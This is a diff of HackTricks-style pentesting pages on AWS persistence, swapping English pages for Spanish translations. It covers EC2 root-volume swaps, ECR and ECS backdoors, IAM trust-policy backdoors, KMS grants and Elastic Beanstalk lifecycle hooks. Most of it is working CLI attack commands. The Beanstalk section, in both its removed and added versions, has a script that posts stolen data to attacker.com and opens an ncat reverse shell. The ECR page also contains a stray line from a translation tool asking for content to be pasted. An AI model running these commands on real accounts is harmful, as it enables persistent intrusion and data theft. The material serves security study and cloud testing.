INSTANCE_ID=<victim instance>
# Ensure EBS-backed
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```
## Reemplazar root desde AMI (preferido)
```bash
IMAGE_ID=<attacker-controlled compatible AMI>
# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```
Alternativa usando un snapshot:
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```
## Evidencia / Verificación
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
```
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
## Notas
- La API no requiere que detengas manualmente la instancia; EC2 orquesta un reinicio.
- Por defecto, el volumen EBS raíz reemplazado (antiguo) se desacopla y permanece en la cuenta (DeleteReplacedRootVolume=false). Esto puede usarse para la reversión o debe eliminarse para evitar costes.
## Reversión / Limpieza
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,101 +0,0 @@
# AWS - ECR Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECR
For more information check:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
### Hidden Docker Image with Malicious Code
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
### Repository Policy
Add a policy to a single repository granting yourself (or everybody) access to a repository:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
### Registry Policy & Cross-account Replication
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
First, you need to give the external account access over the registry with a **registry policy** like:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Then apply the replication config:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,145 @@
# AWS - ECR Persistencia
{{#include ../../../../banners/hacktricks-training.md}}
## ECR
Para más información consulta:
{{#ref}}
../../aws-services/aws-ecr-enum.md
{{#endref}}
### Imagen Docker oculta con código malicioso
Un atacante podría **subir una imagen Docker que contenga código malicioso** a un repositorio ECR y usarla para mantener persistencia en la cuenta AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de forma sigilosa.
### Política del repositorio
Agrega una política a un único repositorio que te conceda a ti (o a todo el mundo) acceso al repositorio:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Ten en cuenta que ECR requiere que los usuarios tengan **permiso** para realizar llamadas a la API **`ecr:GetAuthorizationToken`** mediante una política IAM **antes de que puedan autenticarse** en un registro y subir o descargar cualquier imagen de cualquier repositorio de Amazon ECR.
### Política de registro y replicación entre cuentas
Es posible replicar automáticamente un registro en una cuenta externa configurando replicación entre cuentas, donde necesitas **indicar la cuenta externa** en la que quieres replicar el registro.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
Primero, necesitas otorgar a la cuenta externa acceso al registro con una **política de registro** como:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
No puedo acceder al archivo directamente. Por favor pega aquí el contenido del README.md (y el "replication config" que quieres aplicar) y lo traduciré al español respetando exactamente el Markdown/HTML, sin traducir código, nombres de técnicas, plataformas, rutas ni etiquetas.
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
### Repository Creation Templates (backdoor de prefijo para repos futuros)
Abusa de ECR Repository Creation Templates para backdoor automáticamente cualquier repositorio que ECR cree automáticamente bajo un prefijo controlado (por ejemplo vía Pull-Through Cache o Create-on-Push). Esto otorga acceso no autorizado persistente a repos futuros sin tocar los existentes.
- Permisos requeridos: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (usada por la plantilla), iam:PassRole (si se adjunta un rol personalizado a la plantilla).
- Impacto: Cualquier nuevo repositorio creado bajo el prefijo objetivo hereda automáticamente una política de repositorio controlada por el atacante (p. ej., lectura/escritura entre cuentas), mutabilidad de etiquetas y valores predeterminados de escaneo.
<details>
<summary>Backdoor repos futuros creados por PTC bajo un prefijo elegido</summary>
```bash
# Region
REGION=us-east-1
# 1) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BackdoorRW",
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload",
"ecr:PutImage"
]
}
]
}
JSON
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
# This example caches from Amazon ECR Public namespace "nginx"
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
# 5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,103 +0,0 @@
# AWS - ECS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECS
For more information check:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: Test
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container in Existing ECS Task Definition
> [!NOTE]
> TODO: Test
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Undocumented ECS Service
> [!NOTE]
> TODO: Test
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,151 @@
# AWS - ECS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECS
Para más información consulta:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: Test
Un atacante puede crear una tarea ECS periódica oculta usando Amazon EventBridge para **programar la ejecución periódica de una tarea maliciosa**. Esta tarea puede realizar reconnaissance, exfiltrate data, o mantener persistence en la cuenta de AWS.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container in Existing ECS Task Definition
> [!NOTE]
> TODO: Probar
Un atacante puede añadir un **stealthy backdoor container** en una ECS task definition existente que se ejecuta junto a contenedores legítimos. El backdoor container puede utilizarse para persistence y para realizar actividades maliciosas.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Servicio ECS no documentado
> [!NOTE]
> TODO: Probar
Un atacante puede crear un **servicio ECS no documentado** que ejecuta una task maliciosa. Al establecer el número deseado de tasks al mínimo y deshabilitar el logging, resulta más difícil para los administradores detectar el servicio malicioso.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
Abusar de ecs:UpdateTaskProtection para evitar que las tareas del servicio sean detenidas por eventos de scalein y rolling deployments. Al extender continuamente la protección, un atacante puede mantener una tarea de larga duración en ejecución (para C2 o recolección de datos) incluso si los defensores reducen desiredCount o envían nuevas revisiones de tarea.
Steps to reproduce in us-east-1:
```bash
# 1) Cluster (create if missing)
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
cat > /tmp/ht-persist-td.json << 'JSON'
{
"family": "ht-persist",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"containerDefinitions": [
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
"command": ["/bin/sh","-c","sleep 864000"]}
]
}
JSON
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
# 3) Create service (use default VPC public subnet + default SG)
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
# 4) Get running task ARN
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
# 5) Enable scale-in protection for 24h and verify
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
# 6) Try to scale service to 0 (task should persist)
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
# Optional: rolling deployment blocked by protection
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
# 7) Cleanup
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
aws ecs deregister-task-definition --task-definition ht-persist || true
```
Impacto: Una tarea protegida permanece RUNNING a pesar de desiredCount=0 y bloquea los reemplazos durante nuevos despliegues, permitiendo una persistencia sigilosa y de larga duración dentro del servicio ECS.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,25 +0,0 @@
# AWS - EFS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EFS
For more information check:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
### Modify Resource Policy / Security Groups
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
### Create Access Point
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,21 @@
# AWS - EFS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## EFS
Para más información consulta:
{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}
### Modificar Resource Policy / Security Groups
Al modificar la **resource policy y/o security groups** puedes intentar persistir tu acceso en el sistema de archivos.
### Crear Access Point
Podrías **crear un access point** (con acceso root a `/`) accesible desde un servicio donde hayas implementado **otra persistencia** para mantener acceso privilegiado al sistema de archivos.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,81 +0,0 @@
# AWS - Elastic Beanstalk Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
For more information check:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Persistence in Instance
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
### Backdoor in Version
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
### New backdoored version
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
### Abusing Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Test
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,75 @@
# AWS - Elastic Beanstalk Persistencia
{{#include ../../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
Para más información consulta:
{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Persistencia en la instancia
Para mantener persistencia dentro de la cuenta de AWS, se puede introducir algún **mecanismo de persistencia dentro de la instancia** (cron job, ssh key...) para que el atacante pueda acceder a ella y robar las credenciales del IAM role desde el metadata service.
### Backdoor en la versión
Un atacante podría insertar un backdoor en el código dentro del repo S3 para que siempre ejecute su backdoor además del código esperado.
### Nueva versión backdoored
En lugar de cambiar el código en la versión actual, el atacante podría desplegar una nueva versión backdoored de la aplicación.
### Abusar de Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Probar
Elastic Beanstalk proporciona lifecycle hooks que permiten ejecutar scripts personalizados durante el aprovisionamiento y la terminación de la instancia. Un atacante podría **configurar un lifecycle hook para ejecutar periódicamente un script que exfiltre datos o mantenga el acceso a la cuenta de AWS**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,53 +0,0 @@
# AWS - IAM Persistence
{{#include ../../../banners/hacktricks-training.md}}
## IAM
For more information access:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
### Common IAM Persistence
- Create a user
- Add a controlled user to a privileged group
- Create access keys (of the new user or of all users)
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
- Disable MFA / Add you own MFA device
- Create a Role Chain Juggling situation (more on this below in STS persistence)
### Backdoor Role Trust Policies
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy Version
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
### Backdoor / Create Identity Provider
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,47 @@
# AWS - IAM Persistencia
{{#include ../../../../banners/hacktricks-training.md}}
## IAM
Para más información consulta:
{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}
### Persistencia común de IAM
- Crear un usuario
- Añadir un usuario controlado a un grupo privilegiado
- Crear access keys (del nuevo usuario o de todos los usuarios)
- Conceder permisos extra a usuarios/grupos controlados (attached policies o inline policies)
- Desactivar MFA / Añadir tu propio dispositivo MFA
- Crear una situación de Role Chain Juggling (más abajo en STS persistence)
### Backdoor Role Trust Policies
Podrías backdoor una trust policy para poder asumirla desde un recurso externo controlado por ti (o para todos):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy Version
Otorga permisos de Administrator a una policy que no esté en su última versión (la última versión debe parecer legítima), luego asigna esa versión de la policy a un usuario o grupo controlado.
### Backdoor / Create Identity Provider
Si la cuenta ya confía en un proveedor de identidad común (por ejemplo Github), las condiciones de la confianza podrían ampliarse para que el atacante pueda abusar de ellas.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,43 +0,0 @@
# AWS - KMS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## KMS
For mor information check:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### Grant acces via KMS policies
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
### Eternal Grant
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,37 @@
# AWS - KMS Persistencia
{{#include ../../../../banners/hacktricks-training.md}}
## KMS
Para más información consulta:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
### Grant acceso vía políticas de KMS
Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una key a un usuario bajo su control o incluso a una cuenta externa. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) for more information.
### Eternal Grant
Los grants son otra forma de otorgar a un principal ciertos permisos sobre una key específica. Es posible crear un grant que permita a un usuario crear grants. Además, un usuario puede tener varios grants (incluso idénticos) sobre la misma key.
Por lo tanto, es posible que un usuario tenga 10 grants con todos los permisos. El atacante debería monitorizar esto constantemente. Y si en algún momento se elimina 1 grant, deberían generarse otros 10.
(Estamos usando 10 y no 2 para poder detectar que se eliminó un grant mientras el usuario todavía tiene algún grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> Un grant puede otorgar permisos únicamente a partir de esto: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Lambda
For more information check:
Para más información consulta:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -28,7 +28,7 @@ aws-abusing-lambda-extensions.md
### Via resource policies
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
Es posible conceder acceso a diferentes acciones de Lambda (como invoke o update code) a cuentas externas:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
@@ -42,27 +42,92 @@ This way an attacker could create a **backdoored version 1** and a **version 2 w
### Version Backdoor + API Gateway
1. Copy the original code of the Lambda
1. Copia el código original de la Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
